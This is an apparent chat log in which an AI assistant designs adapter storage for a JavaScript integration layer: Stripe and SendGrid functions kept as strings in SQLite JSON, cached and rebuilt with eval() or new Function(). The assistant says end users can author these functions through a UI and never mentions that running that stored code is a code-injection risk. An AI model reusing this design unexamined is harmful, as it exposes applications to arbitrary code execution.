currency: run_doc.input.currency || 'usd',
customer: run_doc.input.customer_id
})
}
);
const data = await response.json();
run_doc.target.doctype = 'StripePayment';
run_doc.target.data = [{
doctype: 'StripePayment',
name: generateId('StripePayment'),
payment_id: data.id,
amount: data.amount,
status: data.status,
customer_id: data.customer
}];
return run_doc;
}`
}Note: const data = await response.json() is OK - it's the response from external API, not from run_doc.
SendGrid send_email
javascript
functions: {
send_email: `async function(run_doc) {
const response = await fetch(
run_doc.adapter.config.base_url + '/mail/send',
{
method: 'POST',
headers: {
'Authorization': 'Bearer ' + run_doc.adapter.config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify({
personalizations: [{
to: [{ email: run_doc.input.to }]
}],
from: {
email: run_doc.input.from || run_doc.adapter.config.default_from
},
subject: run_doc.input.subject,
content: [{
type: 'text/html',
value: run_doc.input.html || run_doc.input.text
}]
})
}
);
run_doc.target.doctype = 'EmailDelivery';
run_doc.target.data = [{
doctype: 'EmailDelivery',
name: generateId('EmailDelivery'),
message_id: response.headers.get('x-message-id'),
to: run_doc.input.to,
status: response.status === 202 ? 'queued' : 'failed'
}];
return run_doc;
}`
}Built-in select
javascript
coworker._builtinOperations = {
select: async function(run_doc) {
const results = await db.query({
doctype: run_doc.input.doctype,
where: run_doc.input.where || {},
select: run_doc.input.select || ['*'],
limit: run_doc.input.limit
});
run_doc.target.doctype = run_doc.input.doctype;
run_doc.target.data = results;
return run_doc;
}
}The Pattern
javascript
async function(run_doc) {
// 1. Read directly from run_doc
// 2. Call external APIs
// 3. Store external response in temp var (OK)
// 4. Write directly to run_doc.target
// 5. Return run_doc
const externalResponse = await fetch(...); // ✅ External data
const externalData = await externalResponse.json(); // ✅ External data
run_doc.target.data = [{
field: externalData.something,
other: run_doc.input.value // ✅ Direct access
}];
return run_doc;
}Why This Matters
✅ Maximum Traceability
Every access shows exact path: run_doc.input.amount
✅ No Cognitive Load
Don't need to track variable names in your head
✅ Copy-Paste Friendly
Can grep and replace paths easily
✅ Consistent Pattern
Every function looks the same structurally
Summary
Only allowed variables:
run_doc(the parameter)- External API responses (
response,datafrom fetch/axios) - Loop variables (
for,map, etc.)
Never create variables from run_doc paths:
- ❌
const amount = run_doc.input.amount - ❌
const config = run_doc.adapter.config - ✅ Always use full path:
run_doc.input.amount
11:40 AM
Most Compact Way to Store Functions in JSON?
Current Approach
javascript
{
"functions": {
"send_email": "async function(run_doc) { const response = await fetch(... }",
"create_payment": "async function(run_doc) { ... }"
}
}Storage: Function body as string in JSON
Alternatives
Option 1: Current (String Serialization)
javascript
{
"functions": {
"send_email": "async function(run_doc) { ... }"
}
}Pros: Works, can store in JSON Cons: No syntax validation, escaping issues with quotes
Option 2: Arrow Functions (Shorter Syntax)
javascript
{
"functions": {
"send_email": "async (run_doc) => { ... }"
}
}Pros: Slightly shorter syntax Cons: Same string issues
Option 3: Function Body Only (No Wrapper)
javascript
{
"functions": {
"send_email": {
"body": "const response = await fetch(...); run_doc.target.data = [...]; return run_doc;"
}
}
}Runtime:
javascript
const fn = new Function('run_doc', functionDef.body);Pros: Saves "async function(run_doc) { }" wrapper Cons: Still strings, have to inject async wrapper at runtime
Option 4: Store in Separate Field (Code vs JSON)
javascript
// In database, store as separate column/field type
Adapter document:
{
name: "Stripe",
config: { ... }, // JSON field
functions_code: "..." // Long Text field (not JSON)
}Runtime parse:
javascript
const functions = eval('(' + adapter.functions_code + ')');Pros: No JSON escaping Cons: Different storage strategy, not pure JSON document
Option 5: Base64 Encode
javascript
{
"functions": {
"send_email": "YXN5bmMgZnVuY3Rpb24ocnVuX2RvYykgeyAuLi4gfQ=="
}
}Runtime:
javascript
const code = atob(functionDef.send_email);Pros: No escaping issues Cons: Not human-readable, debugging harder
Option 6: Template Literal (If Using JS Object, Not JSON)
javascript
// If adapter is defined in .js file, not stored JSON:
const adapter = {
name: "Stripe",
functions: {
send_email: async function(run_doc) {
const response = await fetch(...);
run_doc.target.data = [...];
return run_doc;
}
}
}Pros: Real functions, no serialization Cons: Can't store in database as JSON
The Real Question
Where are adapters created/edited?
Scenario A: Adapters in Database (JSON Documents)
javascript
// Must serialize to JSON
DocType: Adapter
Document: {
"name": "Stripe",
"functions": {
"send_email": "async function(run_doc) { ... }" // String
}
}Current approach is correct - functions must be strings
Scenario B: Adapters in Code Files
javascript
// /adapters/stripe.js
export default {
name: "Stripe",
functions: {
send_email: async function(run_doc) { ... } // Real function
}
}No serialization needed - real functions
Scenario C: Hybrid (Template in DB, Compile to Function)
javascript
// Store minimal template in DB
{
"functions": {
"send_email": {
"url": "/mail/send",
"method": "POST",
"body_template": {
"to": "{{run_doc.input.to}}",
"from": "{{run_doc.input.from}}",
"subject": "{{run_doc.input.subject}}"
}
}
}
}
// Runtime: Generate function from template
function generateFunction(template) {
return async function(run_doc) {
const response = await fetch(
run_doc.adapter.config.base_url + template.url,
{
method: template.method,
body: JSON.stringify(interpolate(template.body_template, run_doc))
}
);
// ... standard response handling
};
}Pros: More compact storage, declarative Cons: Limited to template patterns
Answer: Current Approach is Best for Your Use Case
If end users create adapters via UI → Must be JSON → Functions must be strings
javascript
{
"functions": {
"send_email": "async function(run_doc) { const response = await fetch(run_doc.adapter.config.base_url + '/mail/send', { method: 'POST', headers: { 'Authorization': 'Bearer ' + run_doc.adapter.config.api_key }, body: JSON.stringify({ to: run_doc.input.to }) }); run_doc.target.data = [{ doctype: 'EmailDelivery', message_id: response.headers.get('x-message-id') }]; return run_doc; }"
}
}Most compact:
- ✅ Remove all unnecessary whitespace
- ✅ Use single-line format
- ✅ No intermediate variables (you're already doing this)
Alternative for readability in storage:
- Store with line breaks (easier editing)
- Minify on load (remove whitespace at runtime)
Recommendation
Current approach is correct. Store as strings in JSON.
Only optimization: If size is critical, minify function code:
javascript
// Before storage:
const minified = functionCode
.replace(/\s+/g, ' ') // Collapse whitespace
.replace(/\s*([{}();,])\s*/g, '$1'); // Remove space around operators
// Store minified version
adapter.functions.send_email = minified;But honestly, function code is not the bottleneck. Keeping it readable in storage is more valuable than saving bytes.
Keep current approach: functions: { name: "async function(run_doc) { ... }" }
11:41 AM
Storing Functions JSON in Single DB Field
Your Setup
javascript
// Single database field contains entire functions object
Adapter table:
- name: "Stripe"
- config: JSON field
- functions: JSON field ← All functions stored here
- permissions: JSON fieldThe Question
Is storing functions as JSON strings in a JSON field the most compact/best way?
Answer: Yes, with considerations
Current Approach (Correct)
javascript
// Database field: functions (JSON type)
{
"send_email": "async function(run_doc) { const response = await fetch(run_doc.adapter.config.base_url + '/mail/send', { method: 'POST', headers: { 'Authorization': 'Bearer ' + run_doc.adapter.config.api_key, 'Content-Type': 'application/json' }, body: JSON.stringify({ personalizations: [{ to: [{ email: run_doc.input.to }] }], from: { email: run_doc.input.from || run_doc.adapter.config.default_from }, subject: run_doc.input.subject, content: [{ type: 'text/html', value: run_doc.input.html || run_doc.input.text }] }) }); run_doc.target.doctype = 'EmailDelivery'; run_doc.target.data = [{ doctype: 'EmailDelivery', name: generateId('EmailDelivery'), message_id: response.headers.get('x-message-id'), to: run_doc.input.to, status: response.status === 202 ? 'queued' : 'failed' }]; return run_doc; }",
"create_payment": "async function(run_doc) { ... }",
"refund_payment": "async function(run_doc) { ... }"
}Database Constraints
JSON Field Size Limits
- PostgreSQL: JSON/JSONB no size limit (practical limit ~1GB)
- MySQL: JSON field max 1GB
- SQLite: TEXT (stores JSON as text) max 1GB
Your use case: Even 100 functions × 5KB each = 500KB total → Well within limits
Alternative: Separate Text Field
javascript
// Option 1: JSON field (current)
functions: { "send_email": "async function...", ... }
// Option 2: Plain text field (JavaScript object literal)
functions_code: `{
send_email: async function(run_doc) {
// Full readable code with proper formatting
const response = await fetch(
run_doc.adapter.config.base_url + '/mail/send',
{
method: 'POST',
headers: {
'Authorization': 'Bearer ' + run_doc.adapter.config.api_key
},
body: JSON.stringify({
to: run_doc.input.to
})
}
);
run_doc.target.data = [{
doctype: 'EmailDelivery',
message_id: response.headers.get('x-message-id')
}];
return run_doc;
},
create_payment: async function(run_doc) {
// ...
}
}`Runtime:
javascript
// Load from text field
const functionsObj = eval('(' + adapter.functions_code + ')');
// Now: functionsObj.send_email is actual functionComparison
| Approach | Storage Type | Escaping | Readability | Query-able | Size |
|---|---|---|---|---|---|
| JSON field with string values | JSON | Must escape quotes | Poor (one line) | Yes (can query keys) | Compact |
| Text field with JS object | Text | No escaping | Good (multiline) | No | Larger (whitespace) |
Recommendation: Keep JSON Field
Why:
- Query-able: Can query which functions exist
sql
SELECT name FROM adapters WHERE functions ? 'send_email';
-- PostgreSQL: Check if 'send_email' key exists- Structured: JSON is structured data, easier to manipulate
javascript
// Get all function names
Object.keys(adapter.functions)
// Check if function exists
'send_email' in adapter.functions- Standards-compliant: JSON is well-defined format
- Database-agnostic: All modern DBs support JSON
Formatting Trade-off
Option A: Minified (Current - Best for Storage)
javascript
{
"send_email": "async function(run_doc){const response=await fetch(run_doc.adapter.config.base_url+'/mail/send',{method:'POST',headers:{'Authorization':'Bearer '+run_doc.adapter.config.api_key},body:JSON.stringify({to:run_doc.input.to})});run_doc.target.data=[{doctype:'EmailDelivery',message_id:response.headers.get('x-message-id')}];return run_doc;}"
}Pros: Smaller storage Cons: Hard to read/edit in DB
Option B: Formatted (Better for Editing)
javascript
{
"send_email": "async function(run_doc) {\n const response = await fetch(\n run_doc.adapter.config.base_url + '/mail/send',\n {\n method: 'POST',\n headers: {\n 'Authorization': 'Bearer ' + run_doc.adapter.config.api_key\n },\n body: JSON.stringify({\n to: run_doc.input.to\n })\n }\n );\n \n run_doc.target.data = [{\n doctype: 'EmailDelivery',\n message_id: response.headers.get('x-message-id')\n }];\n \n return run_doc;\n}"
}Pros: Readable Cons: Larger (embedded newlines)
Best Practice
Storage: Formatted JSON
javascript
// In database, store with newlines for readability
{
"send_email": "async function(run_doc) {\n const response = await fetch(...);\n return run_doc;\n}"
}Runtime: Parse as-is
javascript
// Load and deserialize
const fnCode = adapter.functions.send_email;
const fn = new Function('return ' + fnCode)();
// No minification needed - negligible performance impactEditing: Use UI with code editor
javascript
// In your UI, show formatted code
<textarea>{adapter.functions.send_email}</textarea>
// Or use Monaco Editor / CodeMirror for syntax highlightingDatabase Schema
sql
CREATE TABLE adapters (
id TEXT PRIMARY KEY,
name TEXT NOT NULL UNIQUE,
description TEXT,
-- JSON fields
config JSON, -- { api_key, base_url, timeout, ... }
permissions JSON, -- [{ role: "...", read: 1, write: 1 }]
functions JSON, -- { "send_email": "async function...", ... }
-- Constraints
timeout INTEGER DEFAULT 30000,
rate_limit INTEGER DEFAULT 100,
-- Standard fields
owner TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
modified_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);Final Answer
Yes, storing functions as JSON field is the most compact and practical approach.
javascript
// Database record
{
"name": "Stripe",
"functions": {
"send_email": "async function(run_doc) { ... }",
"create_payment": "async function(run_doc) { ... }"
}
}Best practices:
- ✅ Use JSON field (not text)
- ✅ Store formatted with newlines (readability > size)
- ✅ Escape properly when inserting
- ✅ Deserialize at runtime with
new Function() - ✅ Provide code editor UI for editing
Don't optimize prematurely: Function code size is negligible compared to other data. Keep it readable.
11:45 AM
SQLite Storage: No Native JSON Type
Your Actual Setup
javascript
// SQLite table
CREATE TABLE doctypes (
name TEXT PRIMARY KEY,
data TEXT -- Stores entire document as JSON string
);
// Adapter document stored as TEXT
INSERT INTO doctypes VALUES (
'Adapter-Stripe',
'{"name":"Stripe","config":{...},"functions":{...}}'
);SQLite stores JSON as TEXT field.
The Question Clarified
Is storing the entire Adapter document (including functions) as a single JSON string in a TEXT field the most compact way?
Answer: Yes, for SQLite
Why:
- SQLite has no JSON type - everything is TEXT anyway
- JSON string is already compact - it's just text
- Single field = single read - no joins needed
- Document-oriented - matches your Frappe-style approach
Storage Comparison
Current Approach (Correct)
sql
CREATE TABLE doctypes (
name TEXT PRIMARY KEY,
data TEXT -- Entire document as JSON string
);
-- Insert adapter
INSERT INTO doctypes VALUES (
'Adapter-Stripe',
'{"name":"Stripe","config":{"api_key":"sk_..."},"functions":{"send_email":"async function(run_doc){...}","create_payment":"async function(run_doc){...}"}}'
);Alternative: Separate Function Field
sql
CREATE TABLE doctypes (
name TEXT PRIMARY KEY,
data TEXT, -- Document without functions
functions TEXT -- Separate field for functions
);Downside: Two fields to manage, need to merge at runtime
Alternative: Separate Functions Table
sql
CREATE TABLE doctypes (
name TEXT PRIMARY KEY,
data TEXT
);
CREATE TABLE adapter_functions (
adapter_name TEXT,
function_name TEXT,
code TEXT,
PRIMARY KEY (adapter_name, function_name)
);Downside: Joins required, breaks document model
Size Optimization (If Needed)
Option 1: Minify JSON Before Storage
javascript
// Before insert
const adapter = {
name: "Stripe",
functions: {
send_email: `async function(run_doc) {
const response = await fetch(...);
return run_doc;
}`
}
};
// Minify
const minified = JSON.stringify(adapter);
// Removes all whitespace automatically
// Store
db.run('INSERT INTO doctypes VALUES (?, ?)', [
'Adapter-Stripe',
minified
]);Option 2: Compress Before Storage
javascript
// Compress large documents
const zlib = require('zlib');
const compressed = zlib.gzipSync(JSON.stringify(adapter));
const base64 = compressed.toString('base64');
// Store compressed
db.run('INSERT INTO doctypes VALUES (?, ?)', [
'Adapter-Stripe',
base64
]);
// Load and decompress
const row = db.get('SELECT data FROM doctypes WHERE name = ?', ['Adapter-Stripe']);
const buffer = Buffer.from(row.data, 'base64');
const decompressed = zlib.gunzipSync(buffer);
const adapter = JSON.parse(decompressed.toString());When to use: Only if document size > 1MB
SQLite JSON Functions (Available)
Even though SQLite stores JSON as TEXT, it has JSON functions:
sql
-- Extract function names
SELECT json_extract(data, '$.functions') FROM doctypes WHERE name = 'Adapter-Stripe';
-- Check if function exists
SELECT json_extract(data, '$.functions.send_email') IS NOT NULL FROM doctypes WHERE name = 'Adapter-Stripe';
-- Get specific function
SELECT json_extract(data, '$.functions.send_email') FROM doctypes WHERE name = 'Adapter-Stripe';Useful for queries without loading entire document.
Your Current Implementation (Likely)
javascript
// Save adapter
function11:45 AM
Minimize Parse/Stringify Cycles
The Problem
javascript
// Every operation does parse → modify → stringify
const adapter = JSON.parse(db.data); // Parse 1
// ... use adapter ...
const updated = JSON.stringify(adapter); // Stringify 1
db.save(updated);
// Later, another operation
const adapter = JSON.parse(db.data); // Parse 2
// ... use adapter ...Each operation = 2 conversions (parse + stringify)
Solution: Cache Parsed Objects
Pattern 1: Cache After First Parse
javascript
// Cache parsed adapters in memory
coworker._adapterCache = new Map();
coworker.loadAdapter = async function(name) {
// Check cache first
if (this._adapterCache.has(name)) {
return this._adapterCache.get(name); // ✅ No parse
}
// Load from DB (parse once)
const row = await db.get('SELECT data FROM doctypes WHERE name = ?', [`Adapter-${name}`]);
const adapter = JSON.parse(row.data); // Parse 1 (only time)
// Deserialize functions once
const deserialized = {
...adapter,
functions: {}
};
for (const [name, code] of Object.entries(adapter.functions)) {
deserialized.functions[name] = new Function('return ' + code)(); // Deserialize once
}
// Cache deserialized version
this._adapterCache.set(name, deserialized);
return deserialized;
};
// Usage - no parse/stringify in hot path
const adapter = await coworker.loadAdapter('Stripe');
await adapter.functions.send_email(run_doc); // ✅ Direct function callResult: Parse once per adapter, cache forever (or until invalidated)
Pattern 2: Lazy Deserialization
javascript
coworker._functionCache = new Map();
coworker._getFunction = function(adapterName, functionName) {
const cacheKey = `${adapterName}:${functionName}`;
// Check cache
if (this._functionCache.has(cacheKey)) {
return this._functionCache.get(cacheKey); // ✅ No parse, no deserialize
}
// Only deserialize this one function
const adapter = this._adapterCache.get(adapterName);
const code = adapter.functions[functionName]; // Still string in cache
const fn = new Function('return ' + code)();
// Cache deserialized function
this._functionCache.set(cacheKey, fn);
return fn;
};Result: Only deserialize functions actually used
Pattern 3: Keep Functions Separate (If Write-Heavy)
If you frequently update adapter config but rarely change functions:
javascript
// Split storage
CREATE TABLE adapters (
name TEXT PRIMARY KEY,
config TEXT -- Frequently updated
);
CREATE TABLE adapter_functions (
adapter_name TEXT,
functions TEXT, -- Rarely updated
PRIMARY KEY (adapter_name)
);
// Load adapter
const configRow = await db.get('SELECT config FROM adapters WHERE name = ?', ['Stripe']);
const functionsRow = await db.get('SELECT functions FROM adapter_functions WHERE adapter_name = ?', ['Stripe']);
const adapter = {
config: JSON.parse(configRow.config), // Small, fast parse
functions: JSON.parse(functionsRow.functions) // Large, cached parse
};Benefit: Update config without touching (parsing) functions
Pattern 4: Don't Stringify on Updates
javascript
// Bad: Parse → modify → stringify
const adapter = JSON.parse(db.data);
adapter.config.api_key = newKey;
db.save(JSON.stringify(adapter)); // Full stringify
// Good: Use JSON_SET (SQLite JSON function)
db.run(
"UPDATE doctypes SET data = json_set(data, '$.config.api_key', ?) WHERE name = ?",
[newKey, 'Adapter-Stripe']
);
// ✅ No parse, no stringify - SQLite updates JSON internallyWorks for: Config updates, metadata changes Doesn't work for: Function updates (can't JSON_SET a function string easily)
Recommended Architecture
javascript
// Application startup
coworker.initialize = async function() {
// Load all adapters into memory once
const rows = await db.all("SELECT name, data FROM doctypes WHERE name LIKE 'Adapter-%'");
for (const row of rows) {
const adapter = JSON.parse(row.data); // Parse once at startup
// Deserialize all functions once
const deserialized = {
...adapter,
functions: {}
};
for (const [name, code] of Object.entries(adapter.functions)) {
deserialized.functions[name] = new Function('return ' + code)();
}
this._adapterCache.set(adapter.name, deserialized);
}
console.log(`Loaded ${this._adapterCache.size} adapters`);
};
// Runtime - zero parse/stringify
coworker.run = async function(op) {
const adapter = this._adapterCache.get(op.options?.adapter); // ✅ From cache
const fn = adapter.functions[op.operation]; // ✅ Already deserialized
await fn(run_doc); // ✅ Direct execution
};
// Updates - invalidate cache
coworker.updateAdapter = async function(name, updates) {
// Update DB
const current = JSON.parse(
await db.get('SELECT data FROM doctypes WHERE name = ?', [`Adapter-${name}`])
);
Object.assign(current, updates);
await db.run(
'UPDATE doctypes SET data = ? WHERE name = ?',
[JSON.stringify(current), `Adapter-${name}`]
);
// Invalidate cache
this._adapterCache.delete(name);
// Reload
await this.loadAdapter(name);
};Cache Invalidation Strategies
Strategy 1: Never Invalidate (Restart Required)
javascript
// Simplest: Cache forever, restart app to reload
// Good for: Production where adapters rarely changeStrategy 2: TTL Cache
javascript
// Cache expires after time
this._adapterCache.set(name, {
adapter: deserialized,
loadedAt: Date.now(),
ttl: 3600000 // 1 hour
});
// Check TTL on access
if (Date.now() - cached.loadedAt > cached.ttl) {
// Reload
}Strategy 3: Explicit Invalidation
javascript
// Invalidate on update
coworker.reloadAdapter = async function(name) {
this._adapterCache.delete(name);
this._functionCache.forEach((fn, key) => {
if (key.startsWith(name + ':')) {
this._functionCache.delete(key);
}
});
await this.loadAdapter(name);
};Performance Comparison
javascript
// Without caching (every operation)
Parse JSON: ~1ms
Deserialize 10 functions: ~5ms
Total per operation: ~6ms
// With caching (first operation only)
Parse JSON: ~1ms (once)
Deserialize 10 functions: ~5ms (once)
Subsequent operations: ~0ms (cache hit)For 1000 operations:
- Without cache: 6000ms
- With cache: 6ms + (999 × 0ms) = 6ms
~1000x faster
Final Recommendation
javascript
// Initialize once at startup
await coworker.initialize(); // Loads all adapters, deserializes all functions
// Runtime - zero parse/stringify
const adapter = coworker._adapterCache.get('Stripe'); // O(1) lookup
await adapter.functions.send_email(run_doc); // Direct call
// Updates - rare
await coworker.updateAdapter('Stripe', { config: { api_key: 'new_key' } });
// Invalidates cache, reloads adapterResult:
- Parse: Once per adapter (at startup)
- Deserialize: Once per function (at startup)
- Runtime: Zero parse/stringify operations
- Updates: Only when adapter changes (rare)
This is the minimal parse/stringify approach for your use case.
11:51 AM
Architecture Decision Summary
Core Decisions
1. Adapters as Documents
- DocType:
Adapter - Storage: Single JSON document in SQLite TEXT field
- Each adapter: Self-contained capability provider for external integrations
javascript
Adapter: Stripe = {
name: "Stripe",
description: "Stripe payment processing",
config: {
api_key: "sk_...",
base_url: "https://api.stripe.com/v1"
},
timeout: 30000,
rate_limit: 100,
permissions: [...],
functions: {
create_payment: "async function(run_doc) { ... return run_doc; }",
refund_payment: "async function(run_doc) { ... return run_doc; }",
get_customer: "async function(run_doc) { ... return run_doc; }"
}
}2. Default Adapter Pattern
- Global default:
coworker.setDefaultAdapter('Stripe') - Per-operation default:
coworker.setOperationDefaults({ 'create_payment': { adapter: 'Stripe' } }) - Explicit override:
run({ operation: 'create_payment', options: { adapter: 'PayPal' } }) - Resolution priority: Explicit > Operation default > Global default > Built-in > Error
Enables adapter switching without code changes:
javascript
// Production
coworker.setDefaultAdapter('Stripe');
await run({ operation: 'create_payment' });
// Testing
coworker.setDefaultAdapter('MockPayment');
await run({ operation: 'create_payment' }); // Same code, different adapter3. Functions at Top Level
- Storage:
functions: {}object in adapter document - Format: Strings containing function code
- Keys: Function names (= operation names)
- Values: Function code as string
javascript
functions: {
create_payment: "async function(run_doc) { ... }",
send_email: "async function(run_doc) { ... }"
}No nested operations array - direct mapping: operation name → function name
4. Config Separate from Functions
- config: Adapter credentials and settings
- functions: Adapter logic/code
- Clear separation: Data vs behavior
javascript
{
config: {
api_key: "sk_...", // Credentials
base_url: "https://...", // Settings
timeout: 30000
},
functions: {
create_payment: "async function(run_doc) { ... }" // Code
}
}Functions access config via: run_doc.adapter.config.api_key
5. Universal Function Signature
- Single parameter:
run_doc - Single return:
run_doc(mutated) - No destructuring: Always use full paths
- No intermediate variables: Direct access only
javascript
// ✅ Correct
async function(run_doc) {
const response = await fetch(
run_doc.adapter.config.base_url + '/endpoint',
{
headers: {
'Authorization': 'Bearer ' + run_doc.adapter.config.api_key
},
body: JSON.stringify({
amount: run_doc.input.amount,
customer: run_doc.input.customer_id
})
}
);
const data = await response.json();
run_doc.target.doctype = 'StripePayment';
run_doc.target.data = [{
doctype: 'StripePayment',
payment_id: data.id,
amount: data.amount
}];
return run_doc;
}Never:
javascript
// ❌ No destructuring
const { input, adapter } = run_doc;
// ❌ No intermediate variables from run_doc
const amount = run_doc.input.amount;6. Operation → Function 1:1 Mapping
javascript
// User calls
run({ operation: 'create_payment', options: { adapter: 'Stripe' } })
// Resolution
1. Load adapter: Stripe
2. Find function: adapter.functions['create_payment']
3. Execute: await function(run_doc)
4. Return: run_docDirect mapping: No indirection, no operation definitions, operation name IS function name.
7. run_doc Structure
javascript
run_doc = {
// Identity
doctype: "Run",
name: "run-abc123",
// Operation
operation: "create_payment",
// Input (from user)
input: {
amount: 5000,
customer_id: "cus_123"
},
// Adapter (loaded by coworker)
adapter: {
name: "Stripe",
config: { api_key: "...", base_url: "..." },
timeout: 30000,
permissions: [...]
},
// Target (populated by function)
target: {
doctype: null, // Function sets
schema: null, // Coworker loads after
data: null, // Function sets
meta: {}
},
// Execution state
status: "running",
success: false,
error: null,
duration: 0,
// Options
options: {},
owner: "user@example.com"
}8. Caching Strategy
- Parse once: At startup/first load
- Deserialize once: Functions converted to executable code once
- Cache forever: Until explicit invalidation
- Zero runtime parse/stringify: All operations use cached objects
javascript
// Startup
coworker.initialize(); // Parse all adapters, deserialize all functions
// Runtime
const adapter = coworker._adapterCache.get('Stripe'); // Cached
await adapter.functions.create_payment(run_doc); // Already deserialized
```
---
## Resolution Flow
```
User calls:
run({ operation: 'create_payment', input: {...} })
↓
Resolve adapter:
options.adapter || operationDefault || globalDefault
↓
Load adapter (from cache):
coworker._adapterCache.get('Stripe')
↓
Get function (already deserialized):
adapter.functions['create_payment']
↓
Execute:
await function(run_doc)
↓
Return:
run_doc (with populated target.data)Key Principles
- Simplicity: Operation name = Function name (1:1 mapping)
- Consistency: Everything uses run_doc (single shape)
- Explicitness: No destructuring, no intermediate variables
- Performance: Parse/deserialize once, cache forever
- Flexibility: Default adapters enable easy switching
- Self-contained: Adapters are complete documents (config + functions + permissions)
Example Adapter
javascript
{
"name": "Stripe",
"description": "Stripe payment processing",
"config": {
"api_key": "sk_test_...",
"base_url": "https://api.stripe.com/v1"
},
"timeout": 30000,
"rate_limit": 100,
"permissions": [
{ "role": "Payment Manager", "read": 1, "write": 1 }
],
"functions": {
"create_payment": "async function(run_doc) { const response = await fetch(run_doc.adapter.config.base_url + '/payment_intents', { method: 'POST', headers: { 'Authorization': 'Bearer ' + run_doc.adapter.config.api_key, 'Content-Type': 'application/json' }, body: JSON.stringify({ amount: run_doc.input.amount, currency: run_doc.input.currency || 'usd', customer: run_doc.input.customer_id }) }); const data = await response.json(); run_doc.target.doctype = 'StripePayment'; run_doc.target.data = [{ doctype: 'StripePayment', name: generateId('StripePayment'), payment_id: data.id, amount: data.amount, status: data.status }]; return run_doc; }"
}
}Usage
javascript
// Set defaults
coworker.setDefaultAdapter('Stripe');
// Call operations
await run({ operation: 'create_payment', input: { amount: 5000 } });
// Override adapter
await run({ operation: 'create_payment', input: { amount: 5000 }, options: { adapter: 'PayPal' } });
// Access result
result.target.data[0].payment_idDecision complete.